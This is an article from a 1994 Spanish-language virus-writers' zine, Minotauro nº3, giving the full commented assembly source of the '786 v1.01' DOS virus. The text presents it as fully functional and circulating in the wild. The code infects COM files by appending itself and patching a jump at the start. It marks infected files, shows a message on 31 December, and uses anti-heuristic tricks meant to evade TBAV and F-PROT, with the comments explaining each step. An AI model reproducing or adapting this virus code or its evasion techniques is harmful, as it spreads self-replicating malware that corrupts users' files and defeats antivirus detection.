Minotauro nº3:(TEXT_001.003):18/08/1994 << Back To Minotauro nº 3
;Fuente del 786 v1.01.. ;------------------------------------------------------------------------------ ;NOTA: ESTE ES UN VIRUS COMPLETAMENTE FUNCIONAL Y EN VIGENCIA EN LA CALLE. ;PUBLICADO CON EL CONSENTIMIENTO DE SU AUTOR: VIXER. ;Bueno, este es un virus sencillo, pero lo que no quita que sea efectivo. ;Este fuente es el fuente original del virus, NO un desensamblado, pero hemos ;decidido comentarlo un poco mas, cosa de que se haga la tarea un poco mas sen_ ;cilla. ;Este es un virus no_residente, el cual infecta 1 archivo del directorio actual ;cada vez que se ejecuta un file infectado.. No tiene búsqueda transversal de ;archivos, por lo que su difusión se limita un poco.. Su rango de infeccion se ;limita a archivos COM nada mas.. Pero tiene tambien puntos a su favor.. :-) ;En sus momentos, evadia totalmente al Thunderbyte y a otros antivirus.. ;Pero bueno, tampoco esperen 'EL' virus de primera. :-) Conociendo como funcio_ ;nan los virus mas sencillos, despues se hace mucho mas facil entender virus ;mas complejos.. Bueno, llendo al virus en si, trabaja de la siguiente manera : ;------------------------------------------------------------------------------ ; /~~~\ ;/─────\ ;│ │┌──────────────────────────────────────────────────────────────┐ ;│ ││ ViRuS 786 v1.01 --> por √¡XΣΓ ┌┘ ;│ ├┤~~~~~~~^^^~~~~~~~~~~~~~~~^^^^^~ ┌┘ ;│ ││ ┌┘ ;│ ├┤Caracteristicas: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-┌┘ ;│ ││ -No residente ┌┘ ;│ ├┤ -Appending ┌┘ ;│ ││ -No reinfecta files ┌┘ ;│ ├┤ ──────────────────────────────────────────────────────┤ ;│ ││ -Infecta al final del file └┐ ;│ ├┤ -Manda un mensaje el 31 de diciembre └┐ ;│ ││ -Virulencia: 1 en 1 └┐ ;│ ├┤ -Busca files en current path -=-=-=-=-=-=-=-=-=-=-=-=-=-└┐ ;│ ││ -Tecnicas anti-heuristicas └┐ ;│ ├┤ ^(No lo detecta el TBAV en modo HIGH ni el F-PROT) └┐ ;│ ││ └┐ ;│ ││ /* Creado el 1 de Junio de 1994 */ └┐ ;│ │└───────────────────────────────────────────────────────────────┘ ;│ │ ;│ │ ;│ │ ;│ │ .286c Codigo Segment 'code' org 100h Assume cs:Codigo, ds:Codigo, es:Codigo Start Proc Far jmp Comienzo ;JMP 3 bytes al virus db "V" ;Marca de infecion nop nop ;Supuesto prog. infectado (host) mov ax, 04c00h int 21h ;AQUI COMIENZA EL VIRUS EN SI-------------------------------------------------- Comienzo: ;Desde aqui comienza el Virus push cs push cs pop ds pop es call Proc_falso ;Llama a Proc_falso para que quede Proc_falso proc near ;en el stack el reg. IP Proc_falso endp mov di, sp ;Esto es equivalente a POP BP mov bp, word ptr ss:[di] ;SUB BP, OFFSET PROC_FALSO sub bp, offset Proc_falso ;Esto es una tecnica anti-heuristica add sp, 02d ;Lo primero que hace al ejecutarse, es obtener su posicion en el file por medio ;del calculo del offset ß. Una vez que sabe donde esta parado el virus, hace ;referencia a sus propias variables de forma relativa a bp.. ;------------------------------------------------------------------------------ mov cx, 43d ;Salva DTA original lea di, bp + DTA_orig mov si, 0080h rep movsb ;Lo que hace el virus en este momento, es salvar el DTA del programa infectado. ;Esto lo hacemos porque al buscar un file cualquiera para infectar con la fun_ ;ción 4eh (Buscar la primera entrada) ó 4fh (Buscar la próxima entrada), se nos ;destruyen los datos que teniamos en el DTA original y se nos actualiza con los ;datos del archivo encontrado por medio de estas funciones. Esos datos son uti_ ;lizados por el programa anfitrión, osea que al ser sobreescritos con los datos ;del file nuevo, el programa hace cualquiera.. Generalmente no se cuelga la ma_ ;quina ni nada de eso, pero el programa saca datos de ahi como parametros y bo_ ;ludeces asi, osea que el programa sale al DOS con error.. ;------------------------------------------------------------------------------ jmp Check_PlayLoad ;Claro que no ejecuta los datos ;------------------------------------------------------------- DTA_orig db 43d dup (0) ;Espacio para el DTA Jump db 0e9h ;JUMP Firma db "V" ;Firma del Virus Longitud db 2 dup (0) Bytes_Orig db 090h, 090h, 090h, 090h ;Originales del prog. infectado File_busc db "*.C?M", 0 ;Busca *.C?M y no *.COM. Es otra tecnica anti-heuristica Mensaje db 0ah,0dh db "Este es el virus 786 Version 1 ", 0ah, 0dh ;Mensaje db "Echo por --> √¡xΣΓ [√xΓ]/A.H.D. HALKA/. Industria Argentina", 0ah, 0dh db "Quemen al muñeco del `94!", 0ah, 0dh db "$ OHH NO, ME HA DESCUBIERTO!!!", 0ah, 0dh ;String ;------------------------------------------------------------------------------ Check_PlayLoad: mov ah, 02ah ;Chequea si es diciembre int 021h cmp dh, 12d jne No_Playload cmp dl, 31 ;Chequea si es 31 jne No_Playload ;Aca se verifica si el mes de ejecución del file es Diciembre.. Esto se hace ;pidiendole la fecha al sistema con el servicio 2ah de la int 21h... Este ser_ ;vicio nos devuelve el mes actual en DH, osea que lo comparo con el mes 12 (Di_ ;ciembre :-).. si es el mes correcto, me fijo si es fin de año (31 de Dic.), ;comparando DL con 31.. Donde DL contiene el dia actual.. En caso de que sea ;la fecha deseada, se ejecuta el playload, ó carga ó 'detonación' del virus. ;Como el 786 v1.01 es un virus benévolo, solo mostrara un mensaje y no dejara ;que se siga ejecutando el file infectado saliendo al DOS.. ;En caso de que NO sea la fecha deseada, se salta a la etiqueta NO_PLAYLOAD, ;en donde se intenta infectar otro archivo.. ;------------------------------------------------------------------------------ mov ax, 0900h ;Es 31 de diciembre, mostrar mensaje! lea dx, bp + Mensaje int 021h mov ax, 04c00h ;Y no ejecuta el prog. infectado int 021h No_Playload: cld ;Restaura los 4 primeros bytes del prog mov cx, 4d ;infectado mov di, 0100h lea si, bp + Bytes_Orig rep movsb ;Con este código estoy restituyendo los primeros bytes del programa original, ;los que son sobreescritos con el objeto de darle el control a nuestro virus.. ;Nosotros al infectar un file, y para que una vez que se ejecute el file, que ;nuestro virus sea el que PRIMERO tome el control, sobreescribimos los primeros ;bytes del programa con un 'ΘXX' donde el Θ es el ASCII del jump, y XX la di_ ;reccion del salto... justamente la direccion de nuestro virus.. Bueno, todo ;esto perfecto, pero cuando le queremos devolver el control al programa origi_ ;nal, con que nos encontramos ? Que hubiera estado piola guardar los primeros ;bytes del codigo original ;). Asi cuando le querramos dar el control, lo unico ;que necesitariamos es reemplazar los primeros bytes 'truchos' por los buenos, ;y saltar al offset 100h (De donde se carga todo el código ejecutable de TODOS ;los COM). ;------------------------------------------------------------------------------ Buscar_File: mov ax, 04e00h ;Busca primer file del directorio mov cx, 0 lea dx, File_busc + bp int 021h jnb Hay_files ;Salta si hay *.C?M ;Bueno, entonces busco el primer COM del directorio.. Si encuentro algun file ;joya, salto a HAY_FILES y me fijo si esta infectado.. Si no hay ningun file, ;le devuelvo el control al COM sin infectar nada y listo... mala leche :( ;) ;------------------------------------------------------------------------------ Retornar: ;No hay *.C?M mov cx, 43d ;Restaura el DTA original lea si, bp + DTA_orig mov di, 0080h rep movsb push 0100h ;Ejecuta el prog. infectado pop ax ;Esto es igual que JMP 0100h jmp ax ;Es una tecnica anti-heuristica ;Bueno, aca esta lo que decia antes sobre el DTA... Antes de ejecutar el file ;lo dejo como estaba ANTES de buscar los COM.. Y listo... ahora hago el salto ;al offset 100h, y ya esta... le di el control al COM anfitrion ;) ;------------------------------------------------------------------------------ Hay_files: mov ax, 03d02h mov dx, 0009eh ;Abre el file encontrado int 021h push ax pop bx push bx mov ax, 03f00h ;Lee los 4 bytes primeros mov cx, 0004h lea dx, Bytes_Orig + bp ;Y los guarda en Bytes_Orig int 021h mov cl, byte ptr cs:[bytes_orig + bp+3] ;Verifica si esta infectado cmp cl, Firma + bp jne Infectar ;Con este codigo verifico si el file recien encontrado YA estaba infectado.. ;Lo que hago es abrir el file, comparar el 4to byte con '√' y si coinciden es ;porque el archivo estaba infectado.. No es conveniente chequear con UN solo ;byte, ya que corremos el riesgo de que el file NO estubiese infectado, pero ;por una de esas casualidades, tenga en su 4to byte un '√'.. Entonces el virus ;cree que ya estaba infectado y no lo infecta.. ;Si la comparacion NO da Cero, osea que NO era '√', se prepara para infectar el ;file.. (salta a INFECTAR)... sinom osea que ESTABA infectado, sigue buscando ;otro file... pero antes cierra el file que habia abierto.. ;------------------------------------------------------------------------------ Proximo_File: pop bx ;Esta infectado. Busca otro mov ah, 03eh int 021h ;Cierra el file anterior mov ah, 04fh int 021h jb Retornar ;Si salta no hay mas files jmp Hay_files ;Aca busca otro file.. si salta por el JB (jump below), es que no habia mas COM ;en el directorio y no busca mas.. sino, es que encontró otro file y vuelve a ;verificar si ya estaba infectado.. (JMP HAY_FILES) ;------------------------------------------------------------------------------ Infectar: ;Infecta el file! pop bx push bx mov ax, 04200h ;Mueve el puntero de lecto/escritura ;(LSEEK) al principio del prog. mov cx, 0 mov dx, 0 int 021h pop bx ;Escrive el jmp para el Virus push bx mov ah, 040h mov cx, 1 lea dx, Jump + bp int 021h mov cx, 2 ;Calcula el jmp para el virus mov si, 009ah ;(longitud del prog. + 1) lea di, bp + Longitud rep movsb add Longitud + bp,1 pop bx ;Graba el resultado del push bx ;calculo anterior mov ah, 040h mov cx, 2 lea dx, Longitud + bp int 021h pop bx ;Escribe la marca de infeccion push bx mov ah, 040h mov cx, 1 lea dx, bp + Firma int 021h pop bx push bx mov ax, 04202h ;Mueve el puntero de lecto/escritura ;(LSEEK) al final del prog. mov cx, 0 mov dx, 0 int 021h mov cx, 43d ;Restaura el DTA original lea si, bp + DTA_orig mov di, 0080h rep movsb mov cx,43d ;Borra la variable DTA_orig lea bx, DTA_orig + bp ;Esto sirve para no crear DTA_clr: ;falsas alarmas en los anti-virus mov byte ptr [bx],0 ;heuristicos inc bx loop DTA_clr pop bx ;Escrive el virus en el file push bx mov ah, 040h mov cx, 1000d ;El virus mide 512d bytes. Pero lea dx, bp + Comienzo ;le graba 1000d porque es menos int 021h ;notorio pop bx ;Ya infecto el prog! mov ah, 03eh ;Ahora lo cierra int 021h push 0100h ;Ejecuta el prog. host pop ax ;Esto es igual a JMP 0100h jmp ax ;Es una tecnica anti-heuristica start endp codigo ends end start ;---> Este √¡Γu$ NO es Number_of_the_beast! <--- ;ACLR: El TBAV y el F-PROT no lo detectan con busqueda heuristica, pero ; si puede ser detectado con strings de busqueda. ;ACLR2:Si les interesa el fuente ORIGINAL del virus, se encuentra disponible ; en cualquiera de los BBS que figuran en la lista.. ;------------------------------------------------------------------------------